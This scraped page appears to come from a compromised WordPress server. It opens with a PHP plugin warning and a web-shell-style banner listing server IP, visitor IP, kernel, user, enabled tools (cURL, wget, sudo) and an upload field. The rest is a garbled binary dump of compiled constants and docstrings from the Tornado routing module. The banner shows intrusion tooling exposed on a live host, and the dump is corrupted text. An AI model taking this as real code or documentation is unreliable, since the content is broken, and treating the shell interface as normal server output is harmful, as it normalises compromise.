Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /nuitka/eggshell.build/ |
Upload File : |
��� X� Must be implemented to return an appropriate instance of `~.httputil.HTTPMessageDelegate`
that can serve the request.
Routing implementations may pass additional kwargs to extend the routing logic.
:arg httputil.HTTPServerRequest request: current HTTP request.
:arg kwargs: additional keyword arguments passed by routing implementation.
:returns: an instance of `~.httputil.HTTPMessageDelegate` that will be used to
process the request.
�.�� �_RoutingDelegate�.�� X Returns url string for a given route name and arguments
or ``None`` if no match is found.
:arg str name: route name.
:arg args: url parameters.
:returns: parametrized url string for a given route name (or ``None``).
�.�� � server_conn�.�� � request_conn�.�� �delegate�.��
�router�.�� �httputil�.�� �RequestStartLine�.�� �HTTPServerRequest�.��< (�
connection��server_connection��
start_line��headers�t�.�� � find_handler�.�� �app_log�.�� �debug�.��( �$Delegate for %s %s request not found�.��
�method�.�� �path�.�� �_DefaultMessageDelegate�.�� �headers_received�.�� �
data_received�.��
�finish�.�� �on_connection_close�.�h
.�� �
write_headers�.�� �ResponseStartLine�.�� �HTTP/1.1�M�� Not Found���.�� � HTTPHeaders�.�� �rules�.��
� add_rules�.��P XI Constructs a router from an ordered list of rules::
RuleRouter([
Rule(PathMatches("/handler"), Target),
# ... more rules
])
You can also omit explicit `Rule` constructor and use tuples of arguments::
RuleRouter([
(PathMatches("/handler"), Target),
])
`PathMatches` is a default matcher, so the example above can be simplified::
RuleRouter([
("/handler", Target),
])
In the examples above, ``Target`` can be a nested `Router` instance, an instance of
`~.httputil.HTTPServerConnectionDelegate` or an old-style callable,
accepting a request argument.
:arg rules: a list of `Rule` instances or tuples of `Rule`
constructor arguments.
�.��# �builtins��tuple���h#�list�����.�� KKK��.�K .�� �basestring_type�.�� �Rule�.�� � PathMatches�.�� h#�slice���KNN��R�.�� �self�.��
�append�.�� � process_rule�.��� ��Appends new rules to the router.
:arg rules: a list of Rule instances (or tuples of arguments, which are
passed to Rule constructor).
�.��� ��Override this method for additional preprocessing of each rule.
:arg Rule rule: a rule to be processed.
:returns: the same or modified Rule instance.
�.�� �matcher�.�� �match�.�� �request�.�� �
target_kwargs�.�� �get_target_delegate�.��
�target�.�� �
target_params�.��
�Router�.�� � HTTPServerConnectionDelegate�.�� �
start_request�.�h .�� �callable�.�� �_CallableAdapter�.�� �partial�.��� X� Returns an instance of `~.httputil.HTTPMessageDelegate` for a
Rule's target. This method is called by `~.find_handler` and can be
extended to provide additional target types.
:arg target: a Rule's target.
:arg httputil.HTTPServerRequest request: current request.
:arg target_params: additional parameters that can be useful
for `~.httputil.HTTPMessageDelegate` creation.
�.�� � named_rules�.��
� __class__�.�� �__init__�.�� �name�.�� �warning�.��8 �4Multiple handlers named %s; replacing previous value�.�� �reverse�.�� �ReversibleRouter�.�� � reverse_url�.�� �
import_object�.��k Xd Constructs a Rule instance.
:arg Matcher matcher: a `Matcher` instance used for determining
whether the rule should be considered a match for a specific
request.
:arg target: a Rule's target (typically a ``RequestHandler`` or
`~.httputil.HTTPServerConnectionDelegate` subclass or even a nested `Router`,
depending on routing implementation).
:arg dict target_kwargs: a dict of parameters that can be useful
at the moment of target instantiation (for example, ``status_code``
for a ``RequestHandler`` subclass). They end up in
``target_params['target_kwargs']`` of `RuleRouter.get_target_delegate`
method.
:arg str name: the name of the rule that can be used to find it
in `ReversibleRouter.reverse_url` implementation.
�.��" � %s(%r, %s, kwargs=%r, name=%r)�.�� �__name__�.��8 X1 Matches current instance against the request.
:arg httputil.HTTPServerRequest request: current HTTP request
:returns: a dict of parameters to be passed to the target handler
(for example, ``handler_kwargs``, ``path_args``, ``path_kwargs``
can be passed for proper `~.web.RequestHandler` instantiation).
An empty dict is a valid (and common) return value to indicate a match
when the argument-passing features are not used.
``None`` must be returned to indicate that there is no match.�.�� �endswith�.�� �$���.�hS.�� �re�.�� �compile�.�� � host_pattern�.��
� host_name�.�� � application�.��
� X-Real-Ip�.�h
.�� � default_host�.�� � path_pattern�.�� �regex�.�� �
groupindex�.��
�groups�.��H �Dgroups in url regexes must either be all named or all positional: %r�.�� �pattern�.�� � _find_groups�.��* �&too many values to unpack (expected 2)�.�� �_path�.�� � _group_count�.��
� groupdict�.�� �items�.�� �_unquote_or_none�.��
� path_args�.�� � path_kwargs�.��
� <genexpr>�.��( �$PathMatches.match.<locals>.<genexpr>�.�� �Cannot reverse url regex �.��, �&required number of arguments not found���.�� � unicode_type�.�� �converted_args�.�� �
url_escape�.�� �utf8�.�� }��plus��s.�� �
startswith�.�� �^���.�� h.NJ����N��R�.�� �count�.�� �(���.�� NN��.�� �split�.�� �)�.�� �index�.�� h���.�� � re_unescape�.�K.��
�pieces�.�� �%s�.�� � �.��� ��Returns a tuple (reverse string, group count) for a url.
For example: Given the url pattern /([0-9]{4})/([a-z-]+)/, this method
would return ('/%s/%s/', 2).
�.�� �
handler_class�.��
�kwargs�.��� X� Parameters:
* ``pattern``: Regular expression to be matched. Any capturing
groups in the regex will be passed in to the handler's
get/post/etc methods as arguments (by keyword if named, by
position if unnamed. Named and unnamed capturing groups
may not be mixed in the same rule).
* ``handler``: `~.web.RequestHandler` subclass to be invoked.
* ``kwargs`` (optional): A dictionary of additional arguments
to be passed to the handler's constructor.
* ``name`` (optional): A name for this handler. Used by
`~.web.Application.reverse_url`.
�.�� � url_unescape�.�� }�(�encoding�Nhu�u.��� ��None-safe wrapper around url_unescape to handle unmatched optional
groups correctly.
Note that args are passed as bytes so the handler can decide what
encoding to use.
�.��w Xp Flexible routing implementation.
Tornado routes HTTP requests to appropriate handlers using `Router`
class implementations. The `tornado.web.Application` class is a
`Router` implementation and may be used directly, or the classes in
this module may be used for additional flexibility. The `RuleRouter`
class can match on more criteria than `.Application`, or the `Router`
interface can be subclassed for maximum customization.
`Router` interface extends `~.httputil.HTTPServerConnectionDelegate`
to provide additional routing capabilities. This also means that any
`Router` implementation can be used directly as a ``request_callback``
for `~.httpserver.HTTPServer` constructor.
`Router` subclass must implement a ``find_handler`` method to provide
a suitable `~.httputil.HTTPMessageDelegate` instance to handle the
request:
.. code-block:: python
class CustomRouter(Router):
def find_handler(self, request, **kwargs):
# some routing logic providing a suitable HTTPMessageDelegate instance
return MessageDelegate(request.connection)
class MessageDelegate(HTTPMessageDelegate):
def __init__(self, connection):
self.connection = connection
def finish(self):
self.connection.write_headers(
ResponseStartLine("HTTP/1.1", 200, "OK"),
HTTPHeaders({"Content-Length": "2"}),
b"OK")
self.connection.finish()
router = CustomRouter()
server = HTTPServer(router)
The main responsibility of `Router` implementation is to provide a
mapping from a request to `~.httputil.HTTPMessageDelegate` instance
that will handle this request. In the example above we can see that
routing is possible even without instantiating an `~.web.Application`.
For routing to `~.web.RequestHandler` implementations we need an
`~.web.Application` instance. `~.web.Application.get_handler_delegate`
provides a convenient way to create `~.httputil.HTTPMessageDelegate`
for a given request and `~.web.RequestHandler`.
Here is a simple example of how we can we route to
`~.web.RequestHandler` subclasses by HTTP method:
.. code-block:: python
resources = {}
class GetResource(RequestHandler):
def get(self, path):
if path not in resources:
raise HTTPError(404)
self.finish(resources[path])
class PostResource(RequestHandler):
def post(self, path):
resources[path] = self.request.body
class HTTPMethodRouter(Router):
def __init__(self, app):
self.app = app
def find_handler(self, request, **kwargs):
handler = GetResource if request.method == "GET" else PostResource
return self.app.get_handler_delegate(request, handler, path_args=[request.path])
router = HTTPMethodRouter(Application())
server = HTTPServer(router)
`ReversibleRouter` interface adds the ability to distinguish between
the routes and reverse them to the original urls using route's name
and additional arguments. `~.web.Application` is itself an
implementation of `ReversibleRouter` class.
`RuleRouter` and `ReversibleRuleRouter` are implementations of
`Router` and `ReversibleRouter` interfaces and can be used for
creating rule-based routing configurations.
Rules are instances of `Rule` class. They contain a `Matcher`, which
provides the logic for determining whether the rule is a match for a
particular request and a target, which can be one of the following.
1) An instance of `~.httputil.HTTPServerConnectionDelegate`:
.. code-block:: python
router = RuleRouter([
Rule(PathMatches("/handler"), ConnectionDelegate()),
# ... more rules
])
class ConnectionDelegate(HTTPServerConnectionDelegate):
def start_request(self, server_conn, request_conn):
return MessageDelegate(request_conn)
2) A callable accepting a single argument of `~.httputil.HTTPServerRequest` type:
.. code-block:: python
router = RuleRouter([
Rule(PathMatches("/callable"), request_callable)
])
def request_callable(request):
request.write(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
request.finish()
3) Another `Router` instance:
.. code-block:: python
router = RuleRouter([
Rule(PathMatches("/router.*"), CustomRouter())
])
Of course a nested `RuleRouter` or a `~.web.Application` is allowed:
.. code-block:: python
router = RuleRouter([
Rule(HostMatches("example.com"), RuleRouter([
Rule(PathMatches("/app1/.*"), Application([(r"/app1/handler", Handler)])),
]))
])
server = HTTPServer(router)
In the example below `RuleRouter` is used to route between applications:
.. code-block:: python
app1 = Application([
(r"/app1/handler", Handler1),
# other handlers ...
])
app2 = Application([
(r"/app2/handler", Handler2),
# other handlers ...
])
router = RuleRouter([
Rule(PathMatches("/app1.*"), app1),
Rule(PathMatches("/app2.*"), app2)
])
server = HTTPServer(router)
For more information on application-level routing see docs for `~.web.Application`.
.. versionadded:: 4.5
�.�� �__doc__�.��= �9/usr/local/lib/python3.8/dist-packages/tornado/routing.py�.�� �__file__�.�� �__spec__�.��
�origin�.�� � has_location�.�� �
__cached__�.�� �tornado�.�� h��.�� �tornado.httpserver�.�� hA��.�� �tornado.escape�.�� hrh�hs��.�� � tornado.log�.�� h��.�� � tornado.util�.�� (h*hMh�hpt�.�� �Any�.�� �Union�.�� �Optional�.��
� Awaitable�.�� �List�.�� �Dict�.�� �Pattern�.�� �Tuple�.�� �overload�.��
� metaclass�.�� � __prepare__�.�� � __getitem__�.��2 �.%s.__prepare__() must return a mapping, not %s�.�� � <metaclass>�.�� �tornado.routing�.�� �
__module__�.�� �Abstract router interface.�.�� � __qualname__�.��
�return�.�� �HTTPMessageDelegate�.�� �Router.find_handler�.��
�object�.�� �HTTPConnection�.�� �Router.start_request�.�� �__orig_bases__�.��| �xAbstract router interface for routers that can handle named routes
and support reversing them to original urls.
�.�� �str�.�� �args�.�� � ReversibleRouter.reverse_url�.�� �_RoutingDelegate.__init__�.�h .��% �!_RoutingDelegate.headers_received�.�� �chunk�.�� �bytes�.��" � _RoutingDelegate.data_received�.�� }�h�Ns.�� �_RoutingDelegate.finish�.��( �$_RoutingDelegate.on_connection_close�.��$ � _DefaultMessageDelegate.__init__�.��" � _DefaultMessageDelegate.finish�.�� h#�str����Matcher���.��
� _RuleList�.�� �
RuleRouter�.��% �!Rule-based router implementation.�.�� N��.�� �RuleRouter.__init__�.�� �RuleRouter.add_rules�.�� }�(�rule��Rule�h��Rule�u.�� �RuleRouter.process_rule�.�� �RuleRouter.find_handler�.��" � RuleRouter.get_target_delegate�.�� �ReversibleRuleRouter�.�� X A rule-based router that implements ``reverse_url`` method.
Each rule added to this router may have a ``name`` attribute that can be
used to reconstruct an original uri. The actual reconstruction takes place
in a rule's matcher (see `Matcher.reverse`).
�.��! � ReversibleRuleRouter.__init__�.��% �!ReversibleRuleRouter.process_rule�.��$ � ReversibleRuleRouter.reverse_url�.�� h#�object�����.�� �A routing rule.�.�� �Matcher�.�� �
Rule.__init__�.�� � Rule.reverse�.�� �__repr__�.�� �
Rule.__repr__�.��. �*Represents a matcher for request features.�.�� �
Matcher.match�.��I �EReconstructs full url from matcher instance and additional arguments.�.�� �Matcher.reverse�.�� �
AnyMatches�.�� �Matches any request.�.�� �AnyMatches.match�.�� � HostMatches�.��D �@Matches requests from hosts specified by ``host_pattern`` regex.�.�� �HostMatches.__init__�.�� �HostMatches.match�.�� �DefaultHostMatches�.��� ��Matches requests from host that is equal to application's default_host.
Always returns no match if ``X-Real-Ip`` header is present.
�.�� �DefaultHostMatches.__init__�.�� �DefaultHostMatches.match�.��D �@Matches requests with paths specified by ``path_pattern`` regex.�.�� �PathMatches.__init__�.�� �PathMatches.match�.�� �PathMatches.reverse�.�� �int�.�� �PathMatches._find_groups�.�� �URLSpec�.��� ��Specifies mappings between URLs and handlers.
.. versionchanged: 4.5
`URLSpec` is now a subclass of a `Rule` with `PathMatches` matcher and is preserved for
backwards compatibility.
�.�� �handler�.�� �URLSpec.__init__�.�� �URLSpec.__repr__�.�� }�(�s�h�h�h#�bytes���u.�� }�(j Nh�Nu.�� j .�� �.0��k��v���.�� �
<listcomp>�.�� j ��.�� �<module tornado.routing>�.�� hE��.�� h1hYhW��.�� h1h
��.�� h1hW��.�� (h1h6h;h9hGt�.�� h1h\��.�� (h1hah�h�hGh6hEt�.�� (h1hhht�.�� h1h ��.�� h1h hE��.�� h1��.��6 (h1hah��fragment�� paren_loc��unescaped_fragment�t�.�� h1h hӇ�.�� h1h���.�� h1h8h���.�� (h1h8h�h�h<ht�.�� (h1h;h8h<t�.�� (h1h h
h8t�.�� h1h8��.�� (h1h8h7hihjt�.�� h1hӆ�.�� h1h�hE��.�� h1h���.�� (h1h�hq�a�t�.�� h1hGh���.�� (h1hGh�hӌ reversed_url�t�.�� h1hh��.